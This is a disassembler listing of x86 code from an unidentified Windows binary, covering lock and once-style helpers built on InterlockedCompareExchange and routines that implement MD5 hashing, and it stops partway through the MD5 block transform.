CODE XREF: sub_4331D0+D2j push esi call near ptr 77C2C21Bh nop add esp, 4 mov eax, edi mov dword ptr [ebp+0], 0 pop edi pop esi pop ebp pop ebx pop ecx retn sub_4331D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433310: ; CODE XREF: ___:00401109j push ebx push esi push edi mov edi, [esp+10h] xor ebx, ebx test edi, edi jz loc_4333B5 mov esi, [edi] test esi, esi jz loc_4333B5 cmp esi, 0FFFFFFFFh jz short loc_433378 cmp dword ptr [esi], 3 jnz short loc_43335D lea eax, [esi+4] push eax call sub_40222F mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_4333AF loc_433347: ; CODE XREF: ___:0043336Bj push esi mov dword ptr [edi], 0 nop call near ptr 77C2C21Bh add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43335D: ; CODE XREF: ___:00433333j push 1 push 0 push esi call dword_50E3FC ; InterlockedCompareExchange cmp eax, 1 jz short loc_433347 mov ebx, 16h pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433378: ; CODE XREF: ___:0043332Ej push offset dword_50E980 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_43339F push offset dword_50E980 mov dword ptr [edi], 0 nop call near ptr 7C9010EDh pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43339F: ; CODE XREF: ___:00433386j push offset dword_50E980 mov ebx, 10h nop call near ptr 7C9010EDh loc_4333AF: ; CODE XREF: ___:00433345j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4333B5: ; CODE XREF: ___:0043331Bj ; ___:00433325j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4333F0: ; CODE XREF: ___:004021C1j push esi mov esi, [esp+8] test esi, esi jz short loc_433451 mov eax, [esi] test eax, eax jz short loc_433451 cmp eax, 0FFFFFFFFh jnz short loc_433411 push esi call sub_401992 add esp, 4 test eax, eax jnz short loc_433456 loc_433411: ; CODE XREF: ___:00433402j mov esi, [esi] push 1 push 2 push esi call dword_50E3FC ; InterlockedCompareExchange cmp eax, 2 jnz short loc_433433 loc_433423: ; CODE XREF: ___:00433431j push 1 push 2 push esi call dword_50E3FC ; InterlockedCompareExchange cmp eax, 2 jz short loc_433423 loc_433433: ; CODE XREF: ___:00433421j mov eax, [esi] cmp eax, 2 jnz short loc_43343E xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_43343E: ; CODE XREF: ___:00433438j cmp eax, 3 jnz short loc_433451 add esi, 4 push esi call sub_402225 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_433451: ; CODE XREF: ___:004333F7j ; ___:004333FDj ... mov eax, 16h loc_433456: ; CODE XREF: ___:0043340Fj pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433480: ; CODE XREF: ___:00401AA5j mov eax, [esp+4] push esi test eax, eax jz short loc_4334C1 mov esi, [eax] test esi, esi jz short loc_4334C1 cmp esi, 0FFFFFFFFh jnz short loc_43349B loc_433494: ; CODE XREF: ___:004334A7j mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_43349B: ; CODE XREF: ___:00433492j push 2 push 1 push esi call dword_50E3FC ; InterlockedCompareExchange dec eax jz short loc_433494 dec eax jz short loc_4334BD dec eax jnz short loc_4334C1 add esi, 4 push esi call sub_4010C3 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_4334BD: ; CODE XREF: ___:004334AAj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4334C1: ; CODE XREF: ___:00433487j ; ___:0043348Dj ... mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4334F0: ; CODE XREF: ___:00401933j push esi mov esi, [esp+8] test esi, esi jz short loc_433540 mov eax, [esi] test eax, eax jz short loc_433540 cmp eax, 0FFFFFFFFh jnz short loc_433511 push esi call sub_401992 add esp, 4 test eax, eax jnz short loc_433545 loc_433511: ; CODE XREF: ___:00433502j mov esi, [esi] push 1 push 2 push esi call dword_50E3FC ; InterlockedCompareExchange dec eax jz short loc_43353C dec eax jz short loc_433535 dec eax jnz short loc_433540 add esi, 4 push esi call sub_40177B add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_433535: ; CODE XREF: ___:00433522j mov eax, 10h pop esi retn ; --------------------------------------------------------------------------- loc_43353C: ; CODE XREF: ___:0043351Fj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_433540: ; CODE XREF: ___:004334F7j ; ___:004334FDj ... mov eax, 16h loc_433545: ; CODE XREF: ___:0043350Fj pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433570: ; CODE XREF: ___:00401244j push esi mov esi, [esp+8] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_43359C mov eax, [esi+20h] mov ecx, 1 cmp eax, ecx jnz short loc_433597 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_433597: ; CODE XREF: ___:0043358Ej xor eax, eax mov [esi+20h], ecx loc_43359C: ; CODE XREF: ___:00433582j pop esi retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4335B0 proc near ; CODE XREF: sub_40175Dj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_43363C call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4335D4 mov eax, 2 pop esi retn ; --------------------------------------------------------------------------- loc_4335D4: ; CODE XREF: sub_4335B0+1Bj push edi push esi push eax call sub_401A50 add esp, 8 test eax, eax jz short loc_4335ED mov edi, 24h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4335ED: ; CODE XREF: sub_4335B0+31j cmp dword ptr [esi+20h], 1 jnz short loc_4335FD mov edi, 16h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4335FD: ; CODE XREF: sub_4335B0+41j mov eax, [esi+4] push eax call sub_401640 ; --------------------------------------------------------------------------- dw 0F88Bh dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh dd 2DD4C9E8h, 0C0859002h, 0E8560E74h, 0FFFCE181h, 8B04C483h dd 0C35E5FC7h, 3BFh, 5FC78B00h ; --------------------------------------------------------------------------- loc_43363C: ; CODE XREF: sub_4335B0+12j pop esi retn sub_4335B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433670 proc near ; CODE XREF: sub_4015FFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 10h push 1 xor edi, edi nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_433695 mov ecx, [esp+8+arg_0] pop edi mov eax, 0Ch mov [ecx], esi pop esi retn ; --------------------------------------------------------------------------- loc_433695: ; CODE XREF: sub_433670+15j call near ptr 27106A6h nop cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_4336BE push esi mov edi, 0Bh call near ptr 77C2C21Bh nop mov edx, [esp+0Ch+arg_0] add esp, 4 xor eax, eax mov [edx], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4336BE: ; CODE XREF: sub_433670+30j mov eax, [esp+8+arg_4] test eax, eax jz short loc_4336DB mov [esi+4], eax mov eax, [esp+8+arg_0] mov dword ptr [esi+8], 0FFFFFFFFh mov [eax], esi mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4336DB: ; CODE XREF: sub_433670+54j mov ecx, [esp+8+arg_0] mov eax, edi pop edi mov [ecx], esi pop esi retn sub_433670 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433710 proc near ; CODE XREF: sub_401AA0j arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push ebp xor ebp, ebp cmp ebx, ebp jz loc_4337A0 cmp [ebx+0Ch], ebp jz short loc_43377C cmp [ebx+4], ebp jz short loc_43377C lea eax, [ebx+8] push eax call sub_402225 add esp, 4 test eax, eax jnz short loc_43377C push esi mov esi, [ebx+0Ch] cmp esi, ebp jz short loc_43376F push edi loc_433743: ; CODE XREF: sub_433710+5Cj push esi call sub_402225 add esp, 4 test eax, eax jnz short loc_43376A mov edi, [esi+10h] push esi mov [esi+8], ebp mov [esi+10h], ebp call sub_4010C3 push esi call sub_40105F add esp, 8 mov esi, edi loc_43376A: ; CODE XREF: sub_433710+3Ej cmp esi, ebp jnz short loc_433743 pop edi loc_43376F: ; CODE XREF: sub_433710+30j lea eax, [ebx+8] push eax call sub_4010C3 add esp, 4 pop esi loc_43377C: ; CODE XREF: sub_433710+13j ; sub_433710+18j ... mov eax, [ebx] push eax nop call near ptr 2710000h cmp [ebx+4], ebp jz short loc_433796 lea ecx, [ebx+8] push ecx call sub_40222F add esp, 4 loc_433796: ; CODE XREF: sub_433710+78j push ebx nop call near ptr 77C2C21Bh add esp, 4 loc_4337A0: ; CODE XREF: sub_433710+Aj pop ebp xor eax, eax pop ebx retn sub_433710 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4337E0 proc near ; CODE XREF: sub_4020DBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_50E3E8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] cmp esi, eax jz short loc_433804 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_433813 pop esi mov eax, 2 pop ebx retn ; --------------------------------------------------------------------------- loc_433804: ; CODE XREF: sub_4337E0+11j push eax call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_433813 mov eax, ebx loc_433813: ; CODE XREF: sub_4337E0+1Aj ; sub_4337E0+2Fj push edi xor edi, edi test esi, esi jz short loc_433875 test eax, eax jz short loc_433862 mov ecx, [esi+4] test ecx, ecx jz short loc_433862 test ebx, ebx jz short loc_433862 mov ecx, [eax+80h] test ecx, ecx mov [esp+0Ch+arg_0], ecx jz short loc_43384D loc_433837: ; CODE XREF: sub_4337E0+65j cmp [ecx+8], esi jz short loc_433849 mov ecx, [ecx+0Ch] test ecx, ecx mov [esp+0Ch+arg_0], ecx jnz short loc_433837 jmp short loc_43384D ; --------------------------------------------------------------------------- loc_433849: ; CODE XREF: sub_4337E0+5Aj test ecx, ecx jnz short loc_433862 loc_43384D: ; CODE XREF: sub_4337E0+55j ; sub_4337E0+67j push esi push eax lea eax, [esp+14h+arg_0] push eax call sub_401DC5 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_433875 loc_433862: ; CODE XREF: sub_4337E0+3Cj ; sub_4337E0+43j ... mov ecx, [esi] push ebx push ecx nop call near ptr 2730000h test eax, eax jnz short loc_433875 mov edi, 0Bh loc_433875: ; CODE XREF: sub_4337E0+38j ; sub_4337E0+80j ... mov eax, edi pop edi pop esi pop ebx retn sub_4337E0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4338B0 proc near ; CODE XREF: sub_401190j push ebx push esi push edi nop call near ptr 27A08E0h mov esi, eax call sub_436F5A sub_4338B0 endp ; --------------------------------------------------------------------------- dd 448BF88Bh, 88B1024h, 0FEE89051h, 56022CD1h, 0E890D88Bh dd 22CD363h, 36C4E857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_433900 proc near ; CODE XREF: sub_401A55j arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx mov [eax+14h], ecx mov [eax+10h], ecx mov dword ptr [eax], 67452301h mov dword ptr [eax+4], 0EFCDAB89h mov dword ptr [eax+8], 98BADCFEh mov dword ptr [eax+0Ch], 10325476h retn sub_433900 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433940 proc near ; CODE XREF: sub_401C12j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] push edi mov edi, [esp+10h+arg_8] mov ecx, [esi+10h] mov eax, ecx lea edx, ds:0[edi*8] shr eax, 3 lea ecx, [ecx+edi*8] and eax, 3Fh cmp ecx, edx mov [esi+10h], ecx jnb short loc_43396B inc dword ptr [esi+14h] loc_43396B: ; CODE XREF: sub_433940+26j mov ebx, [esi+14h] mov ecx, edi shr ecx, 1Dh add ebx, ecx mov [esi+14h], ebx mov ebx, 40h sub ebx, eax cmp edi, ebx jb short loc_4339C9 mov edx, [esp+10h+arg_4] push ebx lea eax, [eax+esi+18h] push edx push eax call sub_434740 lea ecx, [esi+18h] push ecx push esi call sub_433AB0 mov ebp, ebx add ebx, 3Fh add esp, 14h cmp ebx, edi jnb short loc_4339C5 loc_4339A9: ; CODE XREF: sub_433940+83j mov edx, [esp+10h+arg_4] lea eax, [edx+ebx-3Fh] push eax push esi call sub_433AB0 add ebx, 40h add esp, 8 add ebp, 40h cmp ebx, edi jb short loc_4339A9 loc_4339C5: ; CODE XREF: sub_433940+67j xor eax, eax jmp short loc_4339CB ; --------------------------------------------------------------------------- loc_4339C9: ; CODE XREF: sub_433940+41j xor ebp, ebp loc_4339CB: ; CODE XREF: sub_433940+87j mov ecx, [esp+10h+arg_4] sub edi, ebp add ebp, ecx push edi lea edx, [eax+esi+18h] push ebp push edx call sub_434740 add esp, 0Ch pop edi pop esi pop ebp pop ebx retn sub_433940 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433A20 proc near ; CODE XREF: sub_402158j var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 8 lea eax, [esp+8+var_8] push esi push edi mov edi, [esp+10h+arg_4] push 8 lea esi, [edi+10h] push esi push eax call sub_434660 mov eax, [esi] add esp, 0Ch shr eax, 3 and eax, 3Fh mov ecx, 38h cmp eax, 38h jb short loc_433A53 mov ecx, 78h loc_433A53: ; CODE XREF: sub_433A20+2Cj sub ecx, eax push ecx push offset aA_0 ; "€" push edi call sub_401C12 lea ecx, [esp+1Ch+var_8] push 8 push ecx push edi call sub_401C12 mov edx, [esp+28h+arg_0] push 10h push edi push edx call sub_434660 push 58h push 0 push edi call sub_434770 add esp, 30h pop edi pop esi add esp, 8 retn sub_433A20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433AB0 proc near ; CODE XREF: sub_433940+58p ; sub_433940+73p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 40h mov ecx, [esp+40h+arg_4] push ebx push ebp push esi mov esi, [esp+4Ch+arg_0] push edi push 40h lea edx, [esp+54h+var_40] mov eax, [esi] mov edi, [esi+4] mov ebx, [esi+8] mov ebp, [esi+0Ch] push ecx push edx mov [esp+5Ch+arg_0], eax call sub_4346D0 mov eax, edi mov edx, [esp+5Ch+arg_0] not eax mov ecx, ebx and eax, ebp and ecx, edi or eax, ecx mov ecx, [esp+5Ch+var_40] add eax, ecx lea ecx, [edx+eax-28955B88h] mov edx, edi mov eax, ecx shr eax, 19h shl ecx, 7 or eax, ecx add eax, edi mov ecx, eax and edx, eax not ecx and ecx, ebx or ecx, edx mov edx, [esp+5Ch+var_3C] add ecx, edx lea edx, [ecx+ebp-173848AAh] mov ecx, edx shr ecx, 14h shl edx, 0Ch or ecx, edx add ecx, eax mov edx, ecx mov ebp, ecx not edx and edx, edi and ebp, eax or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, ecx lea ebx, [ebx+edx+242070DBh] mov edx, ebx shr edx, 0Fh shl ebx, 11h or edx, ebx add edx, ecx mov ebx, edx and ebp, edx not ebx and ebx, eax or ebx, ebp mov ebp, [esp+5Ch+var_34] add ebx, ebp lea ebx, [edi+ebx-3E423112h] mov edi, ebx shl edi, 16h shr ebx, 0Ah or edi, ebx mov ebx, edx add edi, edx mov [esp+5Ch+arg_0], edi mov ebp, [esp+5Ch+arg_0] not edi and edi, ecx and ebx, ebp mov ebp, [esp+5Ch+var_30] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea eax, [eax+edi-0A83F051h] mov edi, eax shr edi, 19h shl eax, 7 or edi, eax add edi, ebx mov eax, edi and ebp, edi not eax and eax, edx or eax, ebp mov ebp, [esp+5Ch+var_2C] add eax, ebp lea ecx, [ecx+eax+4787C62Ah] mov eax, ecx shr eax, 14h shl ecx, 0Ch or eax, ecx add eax, edi mov ecx, eax mov ebp, eax not ecx and ecx, ebx and ebp, edi or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, eax lea edx, [edx+ecx-57CFB9EDh] mov ecx, edx shr ecx, 0Fh shl edx, 11h or ecx, edx add ecx, eax mov edx, ecx and ebp, ecx not edx and edx, edi or edx, ebp mov ebp, [esp+5Ch+var_24] add edx, ebp lea ebx, [ebx+edx-2B96AFFh] mov edx, ebx shl edx, 16h shr ebx, 0Ah or edx, ebx mov ebx, ecx add edx, ecx mov [esp+5Ch+arg_0], edx mov ebp, [esp+5Ch+arg_0] not edx and edx, eax and ebx, ebp mov ebp, [esp+5Ch+var_20] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edi, [edi+edx+698098D8h] mov edx, edi shr edx, 19h shl edi, 7 or edx, edi add edx, ebx mov edi, edx and ebp, edx not edi and edi, ecx or edi, ebp mov ebp, [esp+5Ch+var_1C] add edi, ebp lea eax, [eax+edi-74BB0851h] mov edi, eax shr edi, 14h shl eax, 0Ch or edi, eax add edi, edx mov eax, edi not eax mov ebp, edi and eax, ebx and ebp, edx or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, edi lea ecx, [ecx+eax-0A44Fh] mov eax, ecx shr eax, 0Fh shl ecx, 11h or eax, ecx add eax, edi mov ecx, eax and ebp, eax not ecx and ecx, edx or ecx, ebp mov ebp, [esp+5Ch+var_14] add ecx, ebp lea ebx, [ebx+ecx-76A32842h] mov ecx, ebx shl ecx, 16h shr ebx, 0Ah or ecx, ebx mov ebx, eax add ecx, eax mov [esp+5Ch+arg_0], ecx mov ebp, [esp+5Ch+arg_0] not ecx and ecx, edi and ebx, ebp mov ebp, [esp+5Ch+var_10] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edx, [edx+ecx+6B901122h] mov ecx, edx shr ecx, 19h shl edx, 7 or ecx, edx add ecx, ebx mov edx, ecx and ebp, ecx not edx and edx, eax or edx, ebp mov ebp, [esp+5Ch+var_C] add edx, ebp lea edi, [edi+edx-2678E6Dh] mov edx, edi shr edx, 14h shl edi, 0Ch or edx, edi add edx, ecx mov ebp, edx mov edi, edx not ebp and edi, ecx and ebx, ebp or edi, ebx mov ebx, [esp+5Ch+var_8] add edi, ebx mov ebx, edx lea eax, [eax+edi-5986BC72h] mov edi, eax shr edi, 0Fh shl eax, 11h or edi, eax add edi, edx mov eax, edi and ebx, edi not eax mov [esp+5Ch+arg_4], eax and eax, ecx or eax, ebx mov ebx, [esp+5Ch+var_4] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax+49B40821h] mov eax, ebx shl eax, 16h shr ebx, 0Ah or eax, ebx mov ebx, edx add eax, edi mov [esp+5Ch+arg_0], eax and ebx, eax mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_3C] or ebx, eax add ebx, ebp mov ebp, edi lea ecx, [ecx+ebx-9E1DA9Eh] mov ebx, [esp+5Ch+arg_0] mov eax, ecx shr eax, 1Bh shl ecx, 5 or eax, ecx mov ecx, [esp+5Ch+arg_4] add eax, ebx and ecx, ebx and ebp, eax or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edx, [edx+ecx-3FBF4CC0h] and ebx, eax mov ecx, edx shr ecx, 17h shl edx, 9 or ecx, edx add ecx, eax mov edx, ecx and edx, ebp mov ebp, [esp+5Ch+var_14] or ebx, edx add ebx, ebp lea edi, [edi+ebx+265E5A51h] mov edx, edi shr edx, 12h shl edi, 0Eh or edx, edi mov edi, eax add edx, ecx not edi mov ebx, edx and edi, ecx and ebx, eax or edi, ebx mov ebx, [esp+5Ch+var_40] add edi, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edi-16493856h] mov edi, ebx shl edi, 14h shr ebx, 0Ch or edi, ebx mov ebx, ecx add edi, edx mov [esp+5Ch+arg_0], edi mov edi, ecx mov ebp, [esp+5Ch+arg_0] not edi and edi, edx and ebx, ebp mov ebp, [esp+5Ch+var_2C] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] lea eax, [eax+edi-29D0EFA3h] mov edi, eax shr edi, 1Bh shl eax, 5 or edi, eax mov eax, edx add edi, ebx not eax mov ebp, edx and eax, ebx and ebp, edi or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea ecx, [ecx+eax+2441453h] and ebx, edi mov eax, ecx shr eax, 17h shl ecx, 9 or eax, ecx add eax, edi mov ecx, eax and ecx, ebp mov ebp, [esp+5Ch+var_4] or ebx, ecx add ebx, ebp lea edx, [edx+ebx-275E197Fh] mov ecx, edx shr ecx, 12h shl edx, 0Eh or ecx, edx mov edx, edi add ecx, eax not edx mov ebx, ecx and edx, eax and ebx, edi or edx, ebx mov ebx, [esp+5Ch+var_30] add edx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edx-182C0438h] mov edx, ebx shl edx, 14h shr ebx, 0Ch or edx, ebx mov ebx, eax add edx, ecx mov [esp+5Ch+arg_0], edx mov edx, eax mov ebp, [esp+5Ch+arg_0] not edx and edx, ecx and ebx, ebp mov ebp, [esp+5Ch+var_1C] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ecx lea edi, [edi+edx+21E1CDE6h] mov edx, edi shr edx, 1Bh shl edi, 5 or edx, edi mov edi, ecx add edx, ebx not edi and edi, ebx and ebp, edx or edi, ebp mov ebp, [esp+5Ch+var_8] add edi, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea eax, [eax+edi-3CC8F82Ah] and ebx, edx mov edi, eax shr edi, 17h shl eax, 9 or edi, eax add edi, edx mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_34] or ebx, eax add ebx, ebp lea ecx, [ecx+ebx-0B2AF279h] mov eax, ecx shr eax, 12h shl ecx, 0Eh or eax, ecx mov ecx, edx add eax, edi not ecx mov ebx, eax and ecx, edi and ebx, edx or ecx, ebx mov ebx, [esp+5Ch+var_20] add ecx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+ecx+455A14EDh] mov ecx, ebx shl ecx, 14h shr ebx, 0Ch or ecx, ebx mov ebx, edi add ecx, eax mov [esp+5Ch+arg_0], ecx mov ecx, edi mov ebp, [esp+5Ch+arg_0] not ecx and ecx, eax and ebx, ebp mov ebp, [esp+5Ch+var_C] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, eax lea edx, [edx+ecx-561C16FBh] mov ecx, edx shr ecx, 1Bh shl edx, 5 or ecx, edx mov edx, eax add ecx, ebx not edx and edx, ebx and ebp, ecx or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edi, [edi+edx-3105C08h] and ebx, ecx mov edx, edi shr edx, 17h shl edi, 9 or edx, edi add edx, ecx mov edi, edx and edi, ebp mov ebp, [esp+5Ch+var_24] or ebx, edi add ebx, ebp lea eax, [eax+ebx+676F02D9h] mov edi, eax shr edi, 12h shl eax, 0Eh or edi, eax mov eax, ecx add edi, edx not eax mov ebx, edi and eax, edx and ebx, ecx or eax, ebx mov ebx, [esp+5Ch+var_10] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax-72D5B376h] mov eax, ebx shl eax, 14h shr ebx, 0Ch or eax, ebx add eax, edi mov ebp, [esp+5Ch+var_2C] mov ebx, edx xor ebx, edi xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_20] lea ecx, [ecx+ebx-5C6BEh] mov ebx, ecx shr ebx, 1Ch shl ecx, 4 or ebx, ecx mov ecx, edi add ebx, eax xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_14] lea ecx, [edx+ecx-788E097Fh] mov edx, ecx shr edx, 15h shl ecx, 0Bh or edx, ecx add edx, ebx mov ecx, edx xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_8] lea ecx, [edi+ecx+6D9D6122h] mov edi, ecx shr edi, 10h shl ecx, 10h or edi, ecx mov ecx, edx add edi, edx xor ecx, edi mov [esp+5Ch+arg_0], ecx xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_3C] lea eax, [eax+ecx-21AC7F4h] mov ecx, eax shl ecx, 17h shr eax, 9 or ecx, eax mov eax, [esp+5Ch+arg_0] add ecx, edi xor eax, ecx add eax, ebp mov ebp, [esp+5Ch+var_30] lea ebx, [ebx+eax-5B4115BCh] mov eax, ebx shr eax, 1Ch shl ebx, 4 or eax, ebx mov ebx, edi add eax, ecx xor ebx, ecx xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_24] lea edx, [edx+ebx+4BDECFA9h] mov ebx, edx shr ebx, 15h shl edx, 0Bh or ebx, edx add ebx, eax mov edx, ebx xor edx, ecx xor edx, eax add edx, ebp lea edi, [edi+edx-944B4A0h] mov edx, edi shr edx, 10h shl edi, 10h or edx, edi mov edi, ebx add edx, ebx xor edi, edx mov ebp, edi xor ebp, eax add ebp, [esp+5Ch+var_18] lea ebp, [ecx+ebp-41404390h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_C] add ecx, edx xor edi, ecx add edi, ebp mov ebp, [esp+5Ch+var_40] lea edi, [eax+edi+289B7EC6h] mov eax, edi shr eax, 1Ch shl edi, 4 or eax, edi mov edi, edx add eax, ecx xor edi, ecx xor edi, eax add edi, ebp mov ebp, [esp+5Ch+var_34] lea ebx, [ebx+edi-155ED806h] mov edi, ebx shr edi, 15h shl ebx, 0Bh or edi, ebx add edi, eax mov ebx, edi xor ebx, ecx xor ebx, eax add ebx, ebp lea edx, [edx+ebx-2B10CF7Bh] mov ebx, edx shr ebx, 10h shl edx, 10h or ebx, edx mov edx, edi add ebx, edi xor edx, ebx mov ebp, edx xor ebp, eax add ebp, [esp+5Ch+var_28] lea ebp, [ecx+ebp+4881D05h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_1C] add ecx, ebx xor edx, ecx add edx, ebp lea edx, [eax+edx-262B2FC7h] mov eax, edx shr eax, 1Ch shl edx, 4 or eax, edx mov edx, ebx add eax, ecx xor edx, ecx xor edx, eax add edx, [esp+5Ch+var_10] lea edi, [edi+edx-1924661Bh] mov edx, edi shr edx, 15h shl edi, 0Bh or edx, edi add edx, eax mov edi, edx xor edi, ecx xor edi, eax add edi, [esp+5Ch+var_4] lea ebx, [ebx+edi+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, edx add edi, edx xor ebx, edi xor ebx, eax add ebx, [esp+5Ch+var_38] lea ecx, [ecx+ebx-3B53A99Bh] mov ebx, ecx shl ebx, 17h shr ecx, 9 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_40] lea eax, [eax+ecx-0BD6DDBCh] mov ecx, eax shr ecx, 1Ah shl eax, 6 or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_24] lea edx, [edx+eax+432AFF97h] mov eax, edx shr eax, 16h shl edx, 0Ah or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_8] lea edi, [edi+edx-546BDC59h] mov edx, edi shr edx, 11h shl edi, 0Fh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_2C] lea ebx, [ebx+edi-36C5FC7h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_10] lea ecx, [ecx+ebx+655B59C3h] mov ebx, ecx shr ebx, 1Ah shl ecx, 6 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx 